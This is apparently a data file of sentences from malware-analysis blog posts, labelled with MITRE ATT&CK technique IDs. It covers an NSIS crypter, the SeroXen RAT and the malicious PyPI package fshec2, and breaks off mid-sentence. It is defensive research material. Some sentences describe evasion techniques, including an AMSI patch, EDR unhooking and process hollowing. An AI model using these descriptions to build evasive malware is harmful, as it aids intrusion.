{"sentence": "Possibly it is a bug in the implementation, and the if statement was intended to be a while loop instead.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Nevertheless, the authors decided to give up the check in the latest version.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Apart from those details, this stage is identical to the Shellcode #2 from the newer version.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Popular and persistent", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "This packer has been around for many years, and probably will stay with us for some years to come.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Its structure shows that it is created by experienced authors, using well known, yet not trivial techniques.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Its evolution is slow but steady.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Usage of a popular installation engine makes it easy to blend in with legitimate applications.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Its popularity and diversity of payloads suggests that it is not linked to one specific actor, but rather sold as an independent component on one of many underground forums.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Appendix Other materials about previous versions of NSIS-based crypters: https://yoroi.company/research/yes-cyber-adversaries-are-still-using-formbook-in-2021/https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/https://news.sophos.com/en-us/2020/05/14/raticate/https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-families-use-nsis-installers-to-avoid-detection-analysis/https://www.microsoft.com/security/blog/2017/03/15/ransomware-operators-are-hiding-malware-deeper-in-installer-packages/https://isc.sans.edu/forums/diary/Quick+analysis+of+malware+created+with+NSIS/23703/ The post Revisiting the NSIS-based crypter appeared first on Malwarebytes Labs.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "This blog was jointly written with Alejandro Prada and Ofer Caspi.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Executive summary SeroXen is a new Remote Access Trojan (RAT) that showed up in late 2022 and is becoming more popular in 2023.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Advertised as a legitimate tool that gives access to your computers undetected, it is being sold for only $30 for a monthly license or $60 for a lifetime bundle, making it accessible.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Key takeaways: SeroXen is a fileless RAT, performing well at evading detections on static and dynamic analysis.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The malware combines several open-source projects to improve its capabilities.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "It is a combination of Quasar RAT, r77-rootkit and the command line NirCmd.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Hundreds of samples have shown up since its creation, being most popular in the gaming community.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "It is only a matter of time before it is used to target companies instead of individual users.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Analysis Quasar RAT is a legitimate open-source remote administration tool.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "It is offered on github page to provide user support or employee monitoring.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "It has been historically associated with malicious activity performed by threat actors, APT groups (like in this Mandiant report from 2017), or government attacks (in this report by Unit42 in 2017).", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "It was first released in July 2014 as “xRAT” and renamed to “Quasar” in August 2015.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Since then, there have been released updates to the code until v1.4.1 in March 2023, which is the most current version.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "As an open-source RAT tool with updates 9 years after its creation, it is no surprise that it continues to be a common tool used by itself or combined with other payloads by threat actors up to this day.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "In a review of the most recent samples, a new Quasar variant was observed by Alien Labs in the wild: SeroXen.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This new RAT is a modified branch of the open-source version, adding some modifications features to the original RAT.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "They’re selling it for monthly or lifetime fee.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Figure 1 contains some of the features advertised on their website.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "SeroXen features announced on its website.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This new RAT first showed up on a Twitter account, established in September 2022.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The person advertising the RAT appeared to be an English-speaking teenager.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The same Twitter handle published a review of the RAT on YouTube.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The video approached the review from an attacking/Red Team point of view, encouraging people to buy the tool because it is worth the money.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "They were claiming to be a reseller of the tool.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "In December 2022, a specific domain was registered to market/sell the tool, seroxen[.]com.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The RAT was distributed via a monthly license for $30 USD or a lifetime license of $60 USD.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "It was around that time that the malware was first observed in the wild, appearing with 0 detections on VirusTotal.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "After a few months, on the 1st of February, the YouTuber CyberSec Zaado published a video alerting the community about the capabilities of the RAT from a defensive perspective.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "In late February, the RAT was advertised on social media platforms such as TikTok, Twitter, YouTube, and several cracking forums, including hackforums.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "There were some conversations on gaming forums complaining about being infected by malware after downloading some video games.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The artifacts described by the users matched with SeroXen RAT.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The threat actor updated the domain name to seroxen[.]net by the end of March.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This domain name was registered on March 27th, 2023, after seroxen[.]com was decommissioned.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The threat actor used GoDaddy for registration and Cloudflare for hosting the website.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "These domains are only used for selling and marketing purposes, and not for Command and Control (C&C) communications.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Figure 2: SeroXen website Based on the packed versions uploaded to VT, it appears that the RAT is being used for targeting video game users.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Several lure injector cheat files have been observed with names invoking popular videogames such as Fortnite, Valorant, Roblox or Warzone2.", "labels": ["T1036.005"], "doc_title": "SeroXen RAT for sale"} {"sentence": "The threat actor used Discord for the distribution of some of the samples. Figure 3.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "SeroXen timeline.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "One of the most relevant announced features is that it is a fully undetectable version.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This is currently true from a static analysis point of view, since the RAT is packaged into an obfuscated PowerShell batch file.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "The file’s size typically ranges between 12-14 megabytes, as we can see in sample 8ace121fae472cc7ce896c91a3f1743d5ccc8a389bc3152578c4782171c69e87 uploaded to VT on May 21.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Due to its relatively large size, certain antivirus may choose not to analyze it, potentially bypassing detection.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This sample currently has 0 detections on VT, but some of the crowdsourced Sigma Rules do detect the activity as suspicious.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "As the malware is fileless and executed only in memory after going through several decryptions and decompression routines, it is more difficult to detect by antiviruses.", "labels": ["T1140"], "doc_title": "SeroXen RAT for sale"} {"sentence": "In addition, its rootkit loads a fresh copy of ntdll.dll, which makes it harder to detect by Endpoint Detection & Response (EDR) solutions that hook into it to detect process injections.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Regarding the dynamic analysis, it is worth noting that some sandbox environments might fail to detect the RAT due to its utilization of several techniques to evade virtualization and sandbox detection mechanisms and string encryption subsequent payloads.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The RAT employs anti-debugging techniques by leveraging Windows Management Instrumentation (WMI) to identify the system’s manufacturer.", "labels": ["T1047", "T1082"], "doc_title": "SeroXen RAT for sale"} {"sentence": "This enables it to identify virtualization environments such as VMware and abort the execution to delay and make the analysis harder.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The RAT also checks for the presence of debuggers and uses pings make the threads sleep.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Currently, most child processes and files dropped during the execution of the RAT have a low detection rate.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Execution analysis When the malicious payload is delivered to the victim, commonly through a phishing mail or a Discord channel – the victim often receives a ZIP file containing a benign file in plain sight, and the heavily obfuscated batch file is hidden and automatically executed when launched.", "labels": ["T1027", "T1204.002", "T1566.001"], "doc_title": "SeroXen RAT for sale"} {"sentence": "The bat file format is always very similar and looks like the contents of Figure 4, followed by base64 encoded text later in the file.", "labels": ["T1027", "T1059.003"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Obfuscated bat script.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "During the bat execution, the script extracts two separate binaries from the base64 encoded text, AES decrypts, and GZIP decompresses it to produce two separate byte arrays.", "labels": ["T1027", "T1140"], "doc_title": "SeroXen RAT for sale"} {"sentence": "These byte arrays are then used with .NET reflection to perform an in-memory load of the assembly from its bytes, locate the binary’s entry point, and perform an Invoke on both.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Throughout the decryption process, the attackers had the need to create a legitimate looking folder to drop an illicit version of the System Configuration Utility msconfig.exe that is required later.", "labels": ["T1036.005"], "doc_title": "SeroXen RAT for sale"} {"sentence": "For this purpose, the script creates the folder “C:Windows System32”, with a space after Windows and deletes it as soon as the utility is running.", "labels": ["T1036.005", "T1070.004"], "doc_title": "SeroXen RAT for sale"} {"sentence": "If it wasn’t for this file temporarily dropped into disk, the RAT would be fully fileless.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The execution of one of the above-mentioned binaries leads to another obfuscated binary carrying an embedded resource.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "This resource is hidden behind anti-sandboxing and debugger techniques, only to lead to more obfuscation and encryption techniques that lead to the final payload.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "This payload has been built using the Github project Costura, which allows SeroXen to pack the code’s dependencies into the .NET assembly so it can run self-contained.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Payload embedded resources.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The extraction of the resources leads to the final payloads.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "This is in the form of two .NET assemblies: CSStub2.InstallStager.exe, and CSStub2.UninstallStager.exe.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "And a Win32 binary called CSStub2.$sxr-nircmd.exe, which corresponds to the unmodified command-line utility NirCmd.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The payload InstallStager.exe is a compilation of the open-source rootkit named r77-rootkit – a fileless ring 3 rootkit written in .NET.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "This rootkit supports both x32 and x64 Windows processes and has the following features: Fileless persistence: The rootkit is stored as obfuscated data in the registry and is spawned with PowerShell via Task Scheduler to be injected into the winlogon.exe process.", "labels": ["T1027", "T1053.005", "T1055", "T1059.003", "T1112"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Child process hooking.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Option to embed additional malware to be executed with the rootkit – in this case NirCmd and/or Quasar.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "The added malware will be decompressed and decrypted before it is injected into other processes.", "labels": ["T1055", "T1140"], "doc_title": "SeroXen RAT for sale"} {"sentence": "In memory process injection: the rootkit injects itself and additional malware(s) into all processes.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Injection is done from memory: no files are needed to be stored on disk.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Hooking: Hooks several functions from ntdll.dll to hide its presence.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Communicating via NamedPipe:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The rootkit can receive a command from any running process.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Antivirus / EDR evasion:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The rootkit uses several evasion techniques: AMSI bypass: PowerShell inline script patches “amsi.dll!AmsiScanBuffer” to always return “AMSI_RESULT_CLEAN”.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "DLL unhooking: Removes EDR hooks by loading a fresh copy of “ntdll.dll” from disk to avoid process hollowing detection Hiding entities: Hiding all entities starts with a configurable prefix, which in SeroXen’s case its “$sxr”.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "This prefix hardens the visualization of the attack on the system, but eases attribution of the malware family during the analysis.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The prefix is used to hide files, directories, NamedPipes, scheduled tasks, processes, registry keys/values, and services.", "labels": ["T1027"], "doc_title": "SeroXen RAT for sale"} {"sentence": "R77 technical documentation provides a guideline of where can the prefix be found: Config parameter Details Example HIDE_PREFIX The prefix for name-based hiding (e.g. processes, files, etc…).", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "L”$sxr” R77_SERVICE_NAME32 Name for the scheduled task that starts the r77 service for 32-bit processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "HIDE_PREFIX L”svc32″ R77_SERVICE_NAME64 Name for the scheduled task that starts the r77 service for 64-bit processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "HIDE_PREFIX L”svc64″ CHILD_PROCESS_PIPE_NAME32 Name for the named pipe that notifies the 32-bit r77 service about new child processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "L”.pipe” HIDE_PREFIX L”childproc32″ CHILD_PROCESS_PIPE_NAME64 Name for the named pipe that notifies the 64-bit r77 service about new child processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "L”.pipe” HIDE_PREFIX L”childproc64″ CONTROL_PIPE_NAME Name for the named pipe that receives commands from external processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "L”.pipe” HIDE_PREFIX L”control” The two main components in this project are the InstallStager service and the Rootkit.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The InstallStager service is responsible for: Creating a registry key to store the malware code and writes it as encrypted data.", "labels": ["T1027", "T1053.005", "T1112"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Creating a scheduled task to execute the malware using PowerShell.", "labels": ["T1053.005", "T1059.003"], "doc_title": "SeroXen RAT for sale"} {"sentence": "PowerShell will decompress and decrypt the final payload (Service) that will be injected into the winlogon.exe process and executed via dllhost.exe using process hollowing techniques.", "labels": ["T1055", "T1140"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Starting payload after decryption using process hollowing.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Now the second and main stage of the Rootkit is ready to start.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The service kicks off the load of the rootkit’s DLL that is embedded as a resource and saves its configuration as a registry key.", "labels": ["T1027", "T1112"], "doc_title": "SeroXen RAT for sale"} {"sentence": "(In SeroXen case it’s", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "[HKEY_LOCAL_MACHINESOFTWARE$sxrconfig]).", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The service creates 3 listener threads: NewProcessListener: Enumerates all running processes and injects the rootkit when new processes are created.", "labels": ["T1055", "T1057"], "doc_title": "SeroXen RAT for sale"} {"sentence": "ChildProcessListener: Injects the rootkit to a newly created process by another process and updates the callee via NamedPipe. Figure 7.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Child process injection.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "ControlPipeListener: Creates a NamedPipe to receive commands from any process.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Supported commands are listed below: Command Details CONTROL_R77_UNINSTALL The control code that uninstalls r77.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_R77_PAUSE_INJECTION", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The control code that temporarily pauses injection of new processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_R77_RESUME_INJECTION The control code that resumes injection of new processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_PROCESSES_INJECT The control code that injects r77 into a specific process, if it is not yet injected. CONTROL_PROCESSES_INJECT_ALL", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The control code that injects r77 into all processes that are not yet injected.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_PROCESSES_DETACH The control code detaches r77 from a specific process.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_PROCESSES_DETACH_ALL", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The control code detaches r77 from all processes.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_USER_SHELLEXEC", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The control code that executes a file using ShellExecute.", "labels": ["T1106"], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_USER_RUNPE The control code that executes an executable using process hollowing.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_SYSTEM_BSOD The control code that triggers a BSOD.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "CONTROL_R77_TERMINATE_SERVICE The control code that terminates the r77 service.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The DLL rootkit carries out process injections, executes commands received by other processes, and keeps out of sight any sign of SeroXen being executed within the system.", "labels": ["T1055"], "doc_title": "SeroXen RAT for sale"} {"sentence": "System function hooking.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "As a summary of the execution process: Figure 9.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "SeroXen decryption flow.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Since Seroxen is based on QuasarRAT, the C&C server utilizes the same Common Name in their TLS certificate.", "labels": ["T1071.001"], "doc_title": "SeroXen RAT for sale"} {"sentence": "The functionalities offered by the threat actor for the C&C server closely mirror those found in the Quasar Github repository, including support for TCP network streams (both IPv4 and IPv6), efficient network serialization, compression using QuickLZ, and secure communication through TLS encryption. Figure 10.", "labels": ["T1027", "T1071.001", "T1095"], "doc_title": "SeroXen RAT for sale"} {"sentence": "Quasar Server Certificate.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Conclusion The SeroXen developer has found a formidable combination of free resources to develop a hard to detect in static and dynamic analysis RAT.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The use of an elaborated open-source RAT like Quasar, with almost a decade since its first appearance, makes an advantageous foundation for the RAT.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "While the combination of NirCMD and r77-rootkit are logical additions to the mix, since they make the tool more elusive and harder to detect.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "The Alien Labs team will continue to monitor the threat landscape for SeroXen samples and infrastructure.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Detection methods The following associated detection methods are in use by Alien Labs.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "SURICATA IDS SIGNATURES 2035595:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "ET TROJAN Generic AsyncRAT Style SSL Cert 2027619:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "ET TROJAN Observed Malicious SSL Cert (Quasar CnC) Associated indicators (IOCs)", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "A list of indicators is also available in the OTX Pulse.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Please note, the pulse may include other activities related but out of the scope of the report.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "TYPE INDICATOR DESCRIPTION SHA256 8ace121fae472cc7ce896c91a3f1743d5ccc8a389bc3152578c4782171c69e87 Example malware hash Mapped to MITRE ATT&CK The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "TA0002 : Execution T1053: Scheduled Task/Job T1053.005:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Scheduled Task T1059: Command and Scripting Interpreter T1059.003:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Windows Command Shell TA0003: Persistence T1547: Boot or Logon Autostart Execution T1547.001 Registry Run Keys / Startup Folder TA0004: Privilege Escalation T1548:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Abuse Elevation Control Mechanism T1548.002: Bypass User Account Control TA0005: Defense Evasion T1112: Modify Registry T1553:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Subvert Trust Controls T1553.002:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Code Signing T1564:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Hide Artifacts T1564.001:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Hidden Files and Directories T1564.003: Hidden Window TA0006: Credential Access T1552: Unsecured Credentials T1552.001:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Credentials In Files T1555: Credentials from Password Stores T1555.003: Credentials from Web Browsers TA0007:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Discovery T1016:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "System Network Configuration Discovery T1033: System Owner/User Discovery T1082: System Information Discovery T1614: System Location Discovery TA0008: Lateral Movement T1021:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Remote Services T1021.001:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Remote Desktop Protocol TA009: Collection T1005:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Data from Local System T1056: Input Capture T1056.001: Keylogging T1125: Video Capture TA0011: Command and Control T1090: Proxy T1095: Non-Application Layer Protocol T1105:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Ingress Tool Transfer T1571: Non-Standard Port T1573: Encrypted Channel: T1573.001: Symmetric Cryptography References:", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "Seroxen webpage Seroxen features Quasar RAT NirCmd – Windows command line tool (nirsoft.net) R77-rootkit The post SeroXen RAT for sale appeared first on Cybersecurity Insiders.", "labels": [], "doc_title": "SeroXen RAT for sale"} {"sentence": "During our continuous threat hunting efforts to find malware in open-source repositories, the ReversingLabs team encountered a novel attack that used compiled Python code to evade detection.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "It may be the first supply chain attack to take advantage of the fact that Python byte code (PYC) files can be directly executed, and it comes amid a spike in malicious submissions to the Python Package Index (PyPI).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "If so, it poses yet another supply chain risk going forward, since this type of attack is likely to be missed by most security tools, which only scan Python source code (PY) files.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "We reported the discovered package, named fshec2, to the PyPI security team on April 17, 2023, and it was removed from the PyPI repository the same day.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The PyPI security team has also recognized this type of attack as interesting and acknowledged that it had not been previously seen.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Here’s how my threat research team identified the fshec2 as a suspicious package and the novel method that the attackers employed as they attempted to avoid detection.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "I’ll also tell you what our researchers found when investigating the command-and-control (C2) infrastructure used by the malware — and provide evidence of successful attacks.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Unusual behaviors ReversingLabs regularly scans open-source registers such as PyPi, npm, RubyGems, and GitHub looking for suspicious files.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "As the team observed before, these often jump out at us from the millions of legitimate, nonmalicious files hosted on these platforms because they exhibit strange qualities or behaviors that, experience tells us, often signal malicious intent.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "That was the case with fshec2.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The package initially caught our attention following a scan using the ReversingLabs Software Supply Chain Security platform, which extracted a suspicious combination of behaviors from an fshec2 compiled binary.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Those suspicious behaviors extracted from the decompiled file included the presence of URLs that reference the host by IP address, as well as the creation of a process and execution of a file.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "A manual review of the fshec2 package followed.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "It revealed that it contains only three files.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The code inside two of those Python source code files, _init_.py and main.py, appeared benign.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "It was only upon inspection of a decompiled version of the third file, full.pyc, that more interesting behaviors came to light and the true nature of the package emerged.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 1: Files containing package functionality Unmasking an unusual loader Threat actors are always trying to evade detection from security solutions.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Obfuscation is one of the most popular methods to achieve this.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "For example, several of our previous research blogs have explored incidents in the npm landscape in which JavaScript obfuscation was used.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "That includes the Material Tailwind and IconBurst campaigns, as well as the more recent campaign we identified distributing Havoc malware.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Historically, npm has been the unfortunate leader and PyPI an also-ran in the race to see which open-source platform attracts the most attention from malware authors.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "In the last six months, however, ReversingLabs and others have observed a marked increase in the volume of malware published to PyPI.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "In fact, in May, the creation of new user accounts and projects on PyPI were temporarily suspended for a few hours due to a high volume of malicious activity.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Along with the increase in malicious modules, my team has observed an increase in the use of various obfuscation techniques in malware published to the PyPI repository.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "One of the most popular obfuscation techniques is execution of Base64-encoded malicious code, which was first observed in campaigns related to W4SP authors in November 2022.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Variations of that attack, in which malicious code is embedded in code but shifted past the edge of default screen borders (thereby hiding it from view), are still seen in the wild.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Today, however, attackers have more tools at their disposal.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "For example, use of W4SP crew obfuscation tools such as Hyperion and Kramer is on the rise — likely a response to the improving detection capabilities of security companies monitoring PyPI and other public package repositories.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The fshec2 package uses a significantly different approach that doesn’t rely on obfuscation tools.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "It instead places the malicious functionality into a single file containing compiled Python byte code.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "How Python attacks (usually) work Before I get to the new obfuscation method my team discovered, here’s a look at how malicious attacks using Python typically work.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "There are three types of Python files that may play a role in a malicious campaign: plaintext Python files, which have a /oy extension; compiled Python files, which have a .pyc extension; and Python files that have been compiled into native executables using tools such as py2exe and PyInstaller.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "In most of the malicious campaigns that my team has observed leveraging PyPI packages, the executables are not present in the malicious package but are downloaded and run by the plaintext PY files from external infrastructure.", "labels": ["T1105"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "But fshec2 is different.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Here, we observed a compiled Python file (full.pyc) present inside the PyPI package that contained malicious functionality.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "The entry point of the package was found in the __init__.py file, which imports a function from the other plaintext 